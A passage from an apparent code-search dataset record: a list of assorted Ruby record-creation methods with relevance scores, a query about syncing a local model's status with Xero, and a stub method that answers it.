respond_with(@record, location: record_url(@record))\n end", "def create\n @record = model.new(record_params)\n # call before actions created in the DSL\n if resource.before_actions[:create]\n resource.before_actions[:create].call(@record)\n end\n if @record.save\n redirect_to polymorphic_path([app_kit, @record])\n else\n puts @record.errors.full_messages.inspect\n render 'new'\n end\n end", "def create(params_or_record)\n object = self.new(params_or_record).save\n return(object)\n end", "def create\n params_hash = {\n 'x_login' => @x_login,\n 'x_trans_key' => @x_trans_key,\n 'x_invoice' => invoice,\n 'x_amount' => amount,\n 'x_iduser' => iduser,\n 'x_bank' => bank,\n 'x_country' => country,\n 'x_sub_code' => sub_code,\n 'type' => response_type\n }\n\n message_to_control = \"#{invoice}D#{amount}P#{iduser}A\"\n\n sha256 = OpenSSL::Digest::SHA256.new\n control = OpenSSL::HMAC.hexdigest(sha256, [@secret_key].pack('A*'), [message_to_control].pack('A*'))\n control = control.upcase\n\n params_hash['control'] = control\n params_hash['x_currency'] = currency if currency\n params_hash['x_description'] = description if description\n params_hash['x_cpf'] = cpf if cpf\n params_hash['x_return'] = return_url if return_url\n params_hash['x_confirmation'] = confirmation_url if confirmation_url\n\n astro_curl(@astro_urls['create'], params_hash)\n end", "def create_without_callbacks\n row = self.class.collection.save(to_mongo_value)\n self.id = row._id\n @new_record = false\n id\n end", "def create!\n raise \"#{self.inspect} failed to save\" unless self.create\n end", "def create(obj)\n do_request('create', nil, nil, {'xml' => obj_to_xml(obj)})\n end", "def create_empty_record\n @retailer = Retailer.new\n @retailer.save\n \n redirect_to(controller: :retailers, action: :edit, id: @retailer)\n end", "def create!\n end", "def create\n check_fields\n sql = \"INSERT INTO #{table} VALUES (NULL,#{to_create_record_str})\"\n Database.transaction(sql)\n sql = \"SELECT id FROM #{table} WHERE #{to_find_id_str}\"\n @id = Database.execute(sql).last[0]\n @log.debug \"Record[#{self}] is added to Table[#{table}]\"\n end", "def create_record(model, *args)\n record = new_record(model, *args)\n record.save!\n record.reload\n record\n end", "def create_record(model, *args)\n record = new_record(model, *args)\n record.save!\n record.reload\n record\n end", "def create\n \t\n end", "def create\n make_create_request\n end", "def create\n \n end", "def create(data={})\n object = self.new(data)\n object.save\n end", "def create\n raise \"Not supported\"\n end", "def create_record(zone_id, type, name, content, options={})\n body = %Q{<?xml version=\"1.0\" encoding=\"UTF-8\"?><record><type>#{type}</type><name>#{name}</name><content>#{content}</content>}\n options.each do |k,v|\n body += %Q{<#{k}>#{v}</#{k}>}\n end\n body += %Q{</record>}\n request(\n :body => body,\n :expects => 202,\n :method => 'POST',\n :parser => Fog::Parsers::DNS::Bluebox::CreateRecord.new,\n :path => \"/api/domains/#{zone_id}/records.xml\"\n )\n end", "def create_referring_record\n return unless @ref_record_type\n\n @referring_record = find_referring_record\n ModelReference.create_with @referring_record, self if @referring_record\n end", "def create_record attributes, options = {}\n remote.create attributes, options[:context]\n end", "def create(rec)\n @name = rec.fields[\"name\"]\n @address = rec.fields[\"address\"]\n @city = rec.fields[\"city\"]\n @state = rec.fields[\"state\"]\n @zip = rec.fields[\"zip\"]\n @phone << rec.fields[\"phone\"] if !rec.fields[\"phone\"].nil?\n @fax << rec.fields[\"fax\"] if !rec.fields[\"fax\"].nil?\n @email << rec.fields[\"email\"] if !rec.fields[\"email\"].nil?\n end", "def create_record(record_type, zone_id, name, data, options = {})\n optional_tags= ''\n options.each { |option, value|\n case option\n when :ttl\n optional_tags+= \"<ttl type='integer'>#{value}</ttl>\"\n when :active\n optional_tags+= \"<active>#{value}</active>\"\n when :aux\n optional_tags+= \"<aux>#{value}</aux>\"\n end\n }\n\n request(\n :body => %Q{<?xml version=\"1.0\" encoding=\"UTF-8\"?><record><record_type>#{record_type}</record_type><zone_id type=\"integer\">#{zone_id}</zone_id><name>#{name}</name><data>#{data}</data>#{optional_tags}</record>},\n :expects => 201,\n :method => 'POST',\n :parser => Fog::Parsers::DNS::Slicehost::CreateRecord.new,\n :path => 'records.xml'\n )\n end", "def create(rec)\n @name = rec.fields[\"name\"]\n @email = rec.fields[\"email\"]\n @phone = rec.fields[\"phone\"]\n @title = rec.fields[\"title\"]\n @business_name = rec.fields[\"businessname\"]\n end", "def create\n \n end", "def _create_record(attribute_names = self.attribute_names)\n attribute_names = attributes_for_create(attribute_names)\n\n new_id = self.class._insert_record(\n attributes_with_values(attribute_names)\n )\n\n self.id ||= new_id if @primary_key\n @new_record = false\n @previously_new_record = true\n \n yield(self) if block_given?\n \n if self.class.connection.is_a?(ActiveRecord::ConnectionAdapters::SunstoneAPIAdapter)\n new_id\n else\n id\n end\n end", "def create\n # TODO: implement create\n end", "def create(data = {})\n object = self.new(data)\n object.save\n object\n end", "def create\n begin\n send(rest_xact_handler) do\n @target = model.new\n @target.attributes = @request_resource\n @target.save!\n end\n rescue ActiveRecord::UnknownAttributeError => e\n # Ugly heuristic, but didn't find anything better\n field_name = $1 if e.message =~ /unknown attribute: (.*)/\n raise BadRequest.new(e.message,\n :per_field_msgs => { field_name => 'Is not defined' },\n :retry_possible => false)\n rescue ActiveRecord::RecordInvalid => e\n raise UnprocessableEntity.new(e.message,\n :per_field_msgs => target.errors.inject({}) { |h, (k, v)| h[k] = v; h },\n :retry_possible => false)\n rescue ActiveRecord::RecordNotSaved => e\n raise UnprocessableEntity.new(e.message,\n :retry_possible => false)\n end\n\n if is_true?(params[:_suppress_response])\n render :nothing => true, :status => :created\n else\n find_target(:id => @target.id)\n respond_with(@target, :status => :created) do |format|\n yield(format) if block_given?\n end\n end\n end", "def create; end", "def create; end", "def create; end", "def create; end", "def create(context={})\n self.pre_cast_attributes\n m2o = @relations.reject{|k, v| !self.class.many2one_relations.has_key?(k)}\n vals = @attributes.merge(m2o.merge(m2o){|k, v| v.is_a?(Array) ? v[0] : v})\n self.id = self.class.rpc_execute('create', vals, context)\n reload_from_record!(self.class.find(self.id, :context => context))\n end", "def create\n set_unique_id if respond_to?(:set_unique_id) # hack\n save_doc\n end", "def create_record(body, opts = {})\n data, _status_code, _headers = create_record_with_http_info(body, opts)\n data\n end", "def create(context={}, reload=true)\n self.id = rpc_execute('create', to_openerp_hash, context)\n if @ir_model_data_id\n IrModelData.create(model: self.class.openerp_model,\n 'module' => @ir_model_data_id[0],\n 'name' => @ir_model_data_id[1],\n 'res_id' => self.id)\n end\n reload_from_record!(self.class.find(self.id, context: context)) if reload\n @persisted = true\n end", "def create_or_update\n\n return if @deleted == true\n\n cf = connect\n\n if @record_id.nil?\n rec = cf.rec_new('ec.vg','A',name, content, self.ttl)\n logger.debug rec\n self.record_id = rec[\"response\"][\"rec\"][\"obj\"][\"rec_id\"].to_i\n else\n rec = cf.rec_edit('ec.vg', 'A', record_id, name, content, self.ttl, false)\n logger.debug rec\n end\n\n end", "def create(attrs = {})\n val = new(attrs)\n R(val, self.database).save\n val\n end", "def create\r\n end", "def create\n # if there are any line items, they should all be valid.\n validate_line_items\n\n # make the API call\n # response = Docdata.client.call(:create, xml: create_xml)\n # response_object = Docdata::Response.parse(:create, response)\n if response_object.success?\n self.key = response_object.key\n end\n\n # set `self` as the value of the `payment` attribute in the response object\n response_object.payment = self\n response_object.url = redirect_url\n\n return response_object\n end", "def build_new_record\n @record = record_class.new\n end", "def build_new_record\n @record = record_class.new\n end", "def create\n @record = Umbra::Record.new(record_params)\n\n flash[:notice] = t(\"records.create_success\") if @record.save\n respond_with(@record)\n end", "def create\n end", "def create\n\t\twrite('')\n\t\tself\n\tend", "def create\n\t\twrite('')\n\t\tself\n\tend", "def create(attributes = {})\n record = build(attributes)\n record.save\n record\n end", "def create\n @inv_x_ref = InvXRef.new(params[:inv_x_ref])\n\n respond_to do |format|\n if @inv_x_ref.save\n format.html { redirect_to @inv_x_ref, notice: 'Inv x ref was successfully created.' }\n format.json { render json: @inv_x_ref, status: :created, location: @inv_x_ref }\n else\n format.html { render action: \"new\" }\n format.json { render json: @inv_x_ref.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_record(attribute_names = @attributes.keys)\n \n # Build a payload hash.\n payload_hash = attributes_for_create(attribute_names)\n \n # Perform the operation and save the attributes returned by the remote.\n self.remote_attributes = self.class.create_instance(payload_hash)\n \n # Write back any key attributes returned by the remote.\n self.class.key_attributes.each do |key| key = key.to_s\n write_attribute key, @remote_attributes[key] if @remote_attributes.has_key? key\n end\n \n # No longer a new record, if we at least have all key attributes defined.\n @new_record = ! self.class.key_attributes.all?{|key| query_attribute key }\n \n # Return success, if we are no longer a new record.\n ! @new_record\n end", "def create\n end", "def create\n self.id = connection.insert(\n \"INSERT INTO #{self.class.table_name} \" +\n \"(#{quoted_column_names.join(', ')}) \" +\n \"VALUES(#{attributes_with_quotes.values.join(', ')})\",\n \"#{self.class.name} Create\",\n self.class.primary_key, self.id\n )\n \n @new_record = false\n end", "def create(attrs = {})\n record = new(attrs)\n record.save\n record\n end", "def create\r\n\r\n\r\n end", "def new_mx_record(domain, content, ttl, prio)\n r = Record.new\n\n r.domain_id = domain.id\n r.name = domain.name\n r.type = \"MX\"\n r.content = content\n r.ttl = ttl\n r.prio = prio\n r.change_date = Time.now.to_i\n\n r.save\n return r\n end", "def create_invoice\n self.invoice = match.invoices.create unless invoice\n end", "def create\n fax_request = FaxRequest.new(fax_params)\n fax_request.client_receipt_date = Time.now\n fax_request.save!\n response = send_fax(fax_params)\n update_fax_request(fax_request,response)\n end", "def _create_record(attribute_names = self.attribute_names)\n # ****** BEGIN PARTITIONED PATCH ******\n if self.id.nil? && self.class.respond_to?(:prefetch_primary_key?) && self.class.prefetch_primary_key?\n self.id = self.class.connection.next_sequence_value(self.class.sequence_name)\n attribute_names |= [\"id\"]\n end\n\n if self.class.respond_to?(:partition_keys)\n attribute_names |= self.class.partition_keys.map(&:to_s)\n end\n # ****** END PARTITIONED PATCH ******\n\n attributes_values = arel_attributes_with_values_for_create(attribute_names)\n\n new_id = self.class.unscoped.insert attributes_values\n self.id ||= new_id if self.class.primary_key\n\n @new_record = false\n id\n end", "def create *args\n expire_selector\n object = create! *args\n rescue DuplicateKeyError, UniquenessError => e\n e.object.errors.add :base, e.message\n e.object\n end", "def create_record(attributes, raise_error = false)\n record = build_record(attributes)\n yield(record) if block_given?\n saved = record.save\n set_new_record(record)\n raise RecordInvalid.new(record) if !saved && raise_error\n record\nend", "def create_record(attributes, raise_error = false)\n record = build_record(attributes)\n yield(record) if block_given?\n saved = record.save\n set_new_record(record)\n raise RecordInvalid.new(record) if !saved && raise_error\n record\nend", "def create\n @databox = Databox.new(databox_params)\n\t\trespond_to do |format|\n if @databox.save\n format.html { redirect_to @databox, notice: 'Databox was successfully created.' }\n format.json { render action: 'show', status: :created, location: @databox }\n else\n format.html { render action: 'new' }\n format.json { render json: @databox.errors, status: :unprocessable_entity }\n end\n end\n end", "def find_record(xero_id)\n raise_must_override\n end", "def create_person\n Neography::Node.create(\"object_id\" => self.id, \"object_type\" => self.class.to_s)\n end", "def create_saved_object(params, type, id = \"\", space_id = \"\")\n endpoint = if space_id.present?\n \"s/#{space_id}/api/saved_objects/#{type}/#{id}\"\n else\n \"api/saved_objects/#{type}/#{id}\"\n end\n\n request(\n http_method: :post,\n endpoint: endpoint,\n params: params.to_json\n )\n end", "def create\n end", "def create\n end", "def create\n end", "def createRecord(sObject,records_to_insert)\n puts \"in @helper::createRecord\"\n puts records_to_insert\n record = @restForce.createRecord(sObject,records_to_insert)\n puts record\n return record\nend", "def create_record\n if @email.to_s.empty? or @server.to_s.empty? or @username.to_s.empty? or @port.to_s.empty?\n raise ArgumentError.new(\"Mandatory arguments are not set\")\n end\n \n params = {}\n params['email'] = @email.to_s\n params['server'] = @server.to_s\n params['username'] = @username.to_s\n params['use_ssl'] = @use_ssl.to_s\n params['port'] = @port.to_s\n params['type'] = @source_type.to_s\n\n # Optional parameters\n params['service_level'] = @service_level if @service_level\n params['sync_period'] = @sync_period if @sync_period\n params['password'] = @password if @password\n params['provider_token'] = @provider_token if @provider_token\n params['provider_token_secret'] = @provider_token_secret if @provider_token_secret\n params['provider_consumer_key'] = @provider_consumer_key if @provider_consumer_key\n\n response = post(\"/2.0/accounts/#{@account_id}/sources\", params)\n response['success']\n end", "def create_card\n @card = Card.new(content_type_id: 3, content_id: self.id, created_by: self.created_by)\n if !@card.save\n raise ActiveRecord::RecordInvalid.new(self)\n end\n end", "def create!(attributes)\n new_attributes = map_to_keys(attributes)\n\n new_attributes = new_attributes.merge(\n RecordTypeManager::FIELD_NAME => klass.record_type_id\n ) if klass.record_type_id\n\n client.create!(klass.object_name, new_attributes)\n end", "def create\r\n if self.id.nil? && connection.prefetch_primary_key?(self.class.table_name)\r\n self.id = connection.next_sequence_value(self.class.sequence_name)\r\n end\r\n\r\n quoted_attributes = attributes_with_quotes\r\n\r\n statement = if quoted_attributes.empty?\r\n connection.empty_insert_statement(self.class.table_name)\r\n else\r\n \"INSERT INTO #{self.class.quoted_table_name} \" +\r\n \"(#{quoted_column_names.join(', ')}) \" +\r\n \"VALUES(#{quoted_attributes.values.join(', ')})\"\r\n end\r\n\r\n self.id = connection.insert(statement, \"#{self.class.name} Create\",\r\n self.class.primary_key, self.id, self.class.sequence_name)\r\n\r\n @new_record = false\r\n id\r\n end", "def create(options={})\n check_required_keys options, :name, :content, :type, :ttl\n \n r = post(\"/domains/#{@@parent_id}/records\", :query => { \"record[name]\" => options[:name],\n \"record[ttl]\" => options[:ttl],\n \"record[content]\" => options[:content],\n \"record[prio]\" => options[:prio],\n \"record[type]\" => options[:type] })\n r[\"errors\"] and raise StandardError, r[\"errors\"][\"error\"].to_a.join(\", \")\n if r.code == 201\n Record.new r[\"record\"]\n else\n raise StandardError, 'Could not create the record'\n end \n end", "def lsepoch_create_host_record(params, record, _host)\n# site_id is valid, since the operation is invoked from the \"Site\" screen - inherited!!!\n _host = Host.new(params[:host])\n _host[:site_id] = record[:site_id]\n# ironically record[:host_id] holds the hostname value parsed from the epoch table (at this time)\n _host[:hostname] = record[:host_id] \n _host[:os] = \"Unknown\"\n _host[:description] = \"Orphaned from the epoch table\"\n _host.save\n return _host\n end", "def create\n generate\n save\n end", "def create(record_hash = {})\n record = new(record_hash)\n record.save\n end", "def create_resource object\n object.save\n end", "def create_record(fqdn, type, ipdata)\n unless @dnss.is_valid?\n Puppet.crit dns.cstatus\n end\n priority = {} # TODO: research how to implement priority for puppet\n# priority = priority[0]\n# if priority.nil?\n# priority = {}\n# else\n# priority = { :priority => priority.to_i }\n# end\n record = @dnss.create_record(fqdn, type, ipdata, priority)\n if record.nil?\n Puppet.err dns.cstatus\n end\n Puppet.notice \"Created dns record '#{fqdn}' with id '#{record[:id]}'.\"\n end", "def create\n # Can't create a resource that is not dirty and doesn't have serial keys\n return false if new_record? && !dirty? && !model.key.any? { |p| p.serial? }\n # set defaults for new resource\n properties.each do |property|\n next if attribute_loaded?(property.name)\n property.set(self, property.default_for(self))\n end\n\n return false unless repository.create([ self ]) == 1\n\n @repository = repository\n @new_record = false\n\n repository.identity_map(model).set(key, self)\n\n true\n end", "def new_record(template, domain, record)\n r = Record.new\n\n r.domain_id = domain.id\n r.name = subst(domain, template.name)\n\n if template.type == \"A\" || template.type == \"CNAME\" || template.type == \"AAAA\"\n r.name += \".\" unless template.name.empty?\n r.name += domain.name\n end\n\n r.type = template.type\n\n if template.type == \"A\" || template.type == \"AAAA\"\n unless record[1].empty?\n r.content = record[1]\n else\n r.content = template.content\n record[1] = template.content\n end\n else\n r.content = subst(domain, template.content)\n end\n\n r.ttl = template.ttl\n r.prio = template.prio\n r.change_date = Time.now.to_i\n\n r.save\n return r\n end", "def _create_record(attribute_names = self.attribute_names)\n attribute_names = attributes_for_create(attribute_names)\n\n returning_columns = self.class._returning_columns_for_insert\n\n returning_values = self.class._insert_record(\n attributes_with_values(attribute_names),\n returning_columns\n )\n\n returning_columns.zip(returning_values).each do |column, value|\n _write_attribute(column, value) if !_read_attribute(column)\n end if returning_values\n\n @new_record = false\n @previously_new_record = true\n\n yield(self) if block_given?\n\n id\n end", "def create!(opts = {})\n instance = new(opts)\n instance.save!\n instance\n end", "def create(atts = {})\n rec = self.new(atts)\n rec.save && rec\n end", "def create\n\n\t\t\t\t\t# attributes\n\t\t\t\t\tbegin\n\t\t\t\t\t\tattrs = jsonapi_received_attributes\n\t\t\t\t\t\tif attrs\n\t\t\t\t\t\t\tif @jsonapi_record\n\t\t\t\t\t\t\t\t# update\n\t\t\t\t\t\t\t\t@jsonapi_record.update! attrs\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t# create\n\t\t\t\t\t\t\t\t@jsonapi_record = jsonapi_model_class.new attrs\n\t\t\t\t\t\t\t\t@jsonapi_record.save!\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\trescue NameError => e\n\t\t\t\t\t\tjsonapi_render_errors 500, \"Model class not found.\"\n\t\t\t\t\t\treturn\n\t\t\t\t\trescue \n\t\t\t\t\t\tjsonapi_render_errors 500, @jsonapi_record.to_jsonapi_errors_hash\n\t\t\t\t\t\treturn\n\t\t\t\t\tend\n\n\t\t\t\t\t# relationships\n\t\t\t\t\tjsonapi_received_relationships.each do |relationship|\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\t\t# to-one\n\t\t\t\t\t\t\t\tif relationship[:definition][:type] == :to_one\n\t\t\t\t\t\t\t\t\t@jsonapi_record.send :\"#{relationship[:definition][:name]}=\", relationship[:params][:data]\n\t\t\t\t\t\t\t\t\tnext\n\t\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\t\t# to-many\n\t\t\t\t\t\t\t\t@jsonapi_record.send(relationship[:definition][:name]).send :clear # initialize the relation\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\trelationship[:params][:data].each do |item|\n\t\t\t\t\t\t\t\t\tobject = relationship[:receiver][:class].find_by_id item[:id]\n\t\t\t\t\t\t\t\t\t@jsonapi_record.send(relationship[:definition][:name]).send :<<, object\n\t\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\trescue \n\t\t\t\t\t\t\t# Should not happen\n\t\t\t\t\t\t\tjsonapi_render_errors 500, \"Relationship could not be created.\"\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tshow\n\t\t\t\tend", "def create_eob\n @insurance_payment_eob = InsurancePaymentEob.new(:details=>{:patient_first_name_ocr_output=>\"\"})\n @check_information.insurance_payment_eobs << @insurance_payment_eob\n @insurance_payment_eob.save(:validate => false)\n return @insurance_payment_eob\n end", "def create_office_for_profile\n office = Office.find_or_create_by_owner_id id\n office.save\n end", "def create_record(attribute_names = @attributes.keys)\n # ****** BEGIN PARTITIONED PATCH ******\n if self.id.nil? && self.class.respond_to?(:prefetch_primary_key?) && self.class.prefetch_primary_key?\n self.id = self.class.connection.next_sequence_value(self.class.sequence_name)\n attribute_names |= [\"id\"]\n end\n\n if self.class.respond_to?(:partition_keys)\n attribute_names |= self.class.partition_keys.map(&:to_s)\n end\n # ****** END PARTITIONED PATCH ******\n\n attributes_values = arel_attributes_with_values_for_create(attribute_names)\n\n new_id = self.class.unscoped.insert attributes_values\n self.id ||= new_id if self.class.primary_key\n\n @new_record = false\n id\n end", "def ext_create(opts = {})\n ext_api = ActiveExtAPI::StoreCreate.new self\n ext_api.create opts\n end", "def _create\n true\n end", "def create_record(attribute_names = nil)\n record_timestamps!\n attribute_names ||= keys_for_partial_write\n attributes_values = arel_attributes_with_values_for_create(attribute_names)\n\n new_id = self.class.unscoped.insert attributes_values\n self.id = new_id if self.class.primary_key\n\n @new_record = false\n id\n end", "def create\n create_entry\n end", "def create(data) # rubocop:disable Rails/Delegate\n client.create(data)\n end", "def create!\n raise NotImplementedError\n end" ]
[ "0.6205564", "0.61921287", "0.61640805", "0.6155705", "0.6099409", "0.6047734", "0.603441", "0.60173374", "0.59898525", "0.5988265", "0.59872305", "0.59702504", "0.59666383", "0.5966034", "0.588015", "0.5880089", "0.5878037", "0.5873532", "0.58511186", "0.581118", "0.5809811", "0.580661", "0.5785541", "0.5779788", "0.57779205", "0.57589793", "0.5756888", "0.5750316", "0.57340664", "0.5727608", "0.5724905", "0.57196695", "0.57111657", "0.5701672", "0.5681227", "0.56775594", "0.56775594", "0.56775594", "0.56775594", "0.5667835", "0.56676865", "0.5663961", "0.5650453", "0.56456983", "0.56263936", "0.5613242", "0.5600111", "0.5590861", "0.5590861", "0.5589709", "0.5581507", "0.5565567", "0.5565567", "0.55625725", "0.5560312", "0.5559531", "0.55554485", "0.55528307", "0.5552802", "0.55394083", "0.55390424", "0.5529974", "0.5524327", "0.55174905", "0.55153984", "0.5508668", "0.5508668", "0.5495446", "0.5493718", "0.5484604", "0.54728734", "0.54667604", "0.54667604", "0.54667604", "0.54651123", "0.5445774", "0.54446685", "0.5444366", "0.5439043", "0.5426211", "0.5422057", "0.5421374", "0.5412588", "0.54124254", "0.541094", "0.5407974", "0.5404245", "0.5404224", "0.5399502", "0.53962475", "0.53916854", "0.5390755", "0.53871036", "0.5380981", "0.53787047", "0.5377944", "0.5375983", "0.53756523", "0.5372769", "0.5371959" ]
0.5695655
34
OPTIONAL Update the local status code of the model to match what is in xero. This is needed to avoid status changes that will later cause failure when trying to sync. Example CreditNote: 1. Local status: submitted 2. Remote status: authorized This will be flagged for remote save, but will be updated with the local status of submitted, which will fail xero sync
def sync_local_model_status(model, record) true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_status(status)\n self.status = status\n self.save! validate: false\n end", "def set_status\n self.status = Status.find_by(code: \"OPEN\")\n end", "def update_status status\n @job.set({\n custom_status: status,\n pinged_at: Time.now\n })\n end", "def set_status(status, status_message = '')\n return if status == Algorithm.statuses[self.status]\n self.update_attributes(status: status)\n self.update_attributes(status_message: status_message)\n self.update_attribute(:diva_id, nil) if self.status == 'review' || self.status == 'unpublished_changes'\n self.update_version if self.status == 'published'\n end", "def set_status\n if status.blank?\n if (consulted_legal) && (consulted_marketing)\n status = \"Pending Approval\"\n elsif (consulted_legal) && (!consulted_marketing)\n status = \"Awaiting Marketing Approval\"\n elsif (!consulted_legal) && (consulted_marketing)\n status = \"Awaiting Legal Approval\"\n elsif (!consulted_legal) && (!consulted_marketing)\n status = \"Awaiting Marketing & Legal Approval\"\n end\n end\n true # Needs to return true for the update to go through \n end", "def set_initial_status\n if self.status.blank?\n self.status = \"unsolved\"\n end\n end", "def project_status_setter(status)\n if ['Proposed', 'Suspended', 'Postponed',\n 'Cancelled', 'In progress'].include? status\n self.status = status\n save\n else\n false\n end\n end", "def update_status\n\n old_status = self.status\n\n unless self.decided?\n expected_users = self.get_current_expected\n\n if expected_users.nil?\n self.update_attribute(:status, Workflow::STATUS_DENIED)\n last_nak = self.get_last_nak\n unless last_nak.nil?\n self.update_attribute(:decided_at, last_nak.updated_at)\n end\n elsif expected_users.empty?\n self.update_attribute(:status, Workflow::STATUS_ACCEPTED)\n last_ack = self.get_last_ack\n unless last_ack.nil?\n self.update_attribute(:decided_at, last_ack.updated_at)\n end\n end\n end\n\n return (old_status != self.status)\n end", "def change_status(object, status)\n object.update_attribute :status, status\n end", "def status=(status); end", "def only_update_status_from_pending\n\t if changed.length > 1\n\t\t errors[:base] << 'You cannot modify this invitation.'\n\t\t return\n\t\t end\n\t\t\told_status = changed_attributes['status']\n\t\t\tif old_status != 'pending'\n\t\t\t errors[:base] << \"This invitation is already #{old_status||=status}.\"\n\t\t\tend\n\t end", "def update_status(status)\n @status = status\n @last_status_change = Time.now\n update_statusfile\n end", "def force_update_status(status) #rails' behaviour when saving a attribute in a background thread is very weird and unpredictable..\n \t\tself.update_attribute(:status , status)\n \t\tself.update_attributes(:status => status)\n \t\tself.status = status\n \t\tself.save\n end", "def status=(new_status)\n self.last_status = status\n\n self.setValue new_status, forKey: 'status'\n end", "def recalculate_status(save = true)\n old_status = metadata[:status]\n metadata[:status] =\n !active? ? 'inactive' : done_preprocessing? ? 'complete' : 'incomplete'\n self.save if save && (old_status.nil? || old_status != metadata[:status])\n metadata[:status].to_sym\n end", "def set_status\n self.status = 1\n end", "def change_status(status)\n #not implemented \n end", "def set_status_to_pending\n self.status = :pending\n end", "def status\n original.status || nil\n end", "def status\n original.status || nil\n end", "def correctly_update_status\n\t\terrors.add(:base, 'La transaccion no fue exitosa') if self.invalid_status\n\tend", "def change_status\n\t\tif status.include?(\"available\")\n\t\t\tstatus = \"checked_out\"\n\t\telsif status.include?(\"checked_out\")\n\t\t\tstatus = \"available\"\n\t\tend\n\tend", "def perform\n result = \"#{self.name}: status is correct\"\n begin\n remote = remote_status\n current = status\n if remote != current\n result = \"#{self.class.to_s} lost status: remote=#{remote}, current=#{current}\"\n Rails.logger.debug(result)\n after_save_callback\n end\n rescue => exception\n result = exception.message\n end\n result\n end", "def mark_as(status)\n self.status = status\n self.save\n end", "def update_status\n self.status = board.status\n end", "def update_mp_status\n update(\n mp_response: MP_STATUSES[payment_status.to_sym][payment_status_detail.to_sym]\n )\n end", "def set_status!(status)\n ## FIXME_NISH Fix this.\n ## FIXED\n update(status: (status == 'true'))\n end", "def set_status\n if !draft\n self.status = STATUS[get_status]\n end\n end", "def update_status\n case @part.status\n when 'Unstarted'\n @part.status = 'Started'\n @part.user = current_user\n @part.bitbucket.post_user(current_user.email) if @part.name == 'Prototype'\n @part.create_activity key: 'part.started', owner: current_user\n @part.start_rep_points\n when 'Started'\n @part.status = 'Finished'\n @part.create_activity key: 'part.finished', owner: current_user\n when 'Finished' \n @part.status = 'In Review'\n @part.create_activity key: 'part.in_review', owner: current_user\n when 'In Review'\n @part.status = 'Accepted'\n @part.accepted_rep_points\n @part.create_activity key: 'part.accepted', owner: current_user\n end\n @part.save\n redirect_to :back\n end", "def update_status!( status , in_reply_to_status_id = nil )\n\t\tself.twitagent.update_status!( status , in_reply_to_status_id )\n\trescue => err\n\t\t# The user might have rejected this application. Or there was some other error during the request.\n\t\tRAILS_DEFAULT_LOGGER.error \"#{err.message} Failed update status\"\n\t\treturn\n\tend", "def default_status\n\t\tself.status = \"Pending\"\n end", "def auto_update_status \n if self.status == \"To Be Published\"\n self.status = \"Published\"\n end \n end", "def set_status\n @status= {\n 'Unstarted' => 0,\n 'In Progress' => 1,\n 'Completed' => 2\n }\n end", "def update_status\n\t\tasset.update_attributes(:status => STATUS[\"Assigned\"])\n\tend", "def update_status\n\t\tasset.update_attributes(:status => STATUS[\"Assigned\"])\n\tend", "def status=(new_status)\n update_values([:status] => new_status)\n end", "def set_status\n @current_product.aasm_state = params[:status]\n\n if @current_product.save\n @product_status = @current_product.aasm_state\n else\n @object = \"Product\"\n render \"api/v1/errors/404\", status: 404\n end\n end", "def enter_pending\n update_attribute(:status, :pending)\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def send_status_update(status, since, game, afk)\n data = {\n status: status,\n since: since,\n game: game,\n afk: afk\n }\n\n send_packet(Opcodes::PRESENCE, data)\n end", "def set_status(val)\n self.status = val\n self\n end", "def update_status\n\t\t@medical_record_request.update_attributes!(:status => params[:status])\n\t\tredirect_to new_medical_record_request_path\n\trescue ActiveRecord::RecordNotSaved, ActiveRecord::RecordInvalid \n\t\tflash.now[:error] = \"Medical Record Request Status Update failed\"\n\t\trender :action => 'edit'\n\tend", "def update_status\n @completed_status = !completed_status\n puts \"#{description} Completed\"\n end", "def editing_complete status=nil\n self.edit_mode = false\n self.status = status.to_s if status\n self.save\n end", "def comprado!\n \tupdate_column(:status, true)\n end", "def activate\n self.status = 'current'\n self.save\n end", "def orderStatusEdit()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n o = Order.find(params[:id])\n status = o.update(order_status: params[:status])\n render json: {status: status, data: \"\", reason: ''}\n end", "def update!(**args)\n @new_status = args[:new_status] if args.key?(:new_status)\n end", "def pending!\n self.update_attribute(:status, PENDING)\n end", "def approve\n self.update(status: \"APPROVED\")\n end", "def set_status\n @id=params[:id]\n @client = User.find(@id)\n @status = @client.status\n if @status == true\n @client.update_attributes(status: 'false')\n flash[:success] = \"Status upadated In-Active\"\n else\n @client.update_attributes(status: 'true')\n flash[:success] = \"Status updated Active\"\n end\n redirect_to clients_path\n end", "def update\n @local = Local.find_by_number(params[:id])\n\n respond_to do |format|\n if @local.update_attributes(params[:local])\n flash[:notice] = 'Local was successfully updated.'\n format.html { redirect_to(edit_local_path(@local)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @local.errors, :status => :unprocessable_entity }\n end\n end\n end", "def status=(val)\n unless [nil, :frozen, :live].include?(val)\n raise ArgumentError.new(\"Status must be :frozen or :live\") \n end\n @status = val\n end", "def partially_verified\n update_attributes(:status => STATUS[:partially_verified])\n end", "def check_status_change\n if self.status_id != @current_status\n sc = StatusChange.new\n sc.submission_id = self.id\n sc.status_id = self.status_id\n sc.changed_at = @current_time\n sc.comments = status_comments\n sc.save\n #give sub a global id if 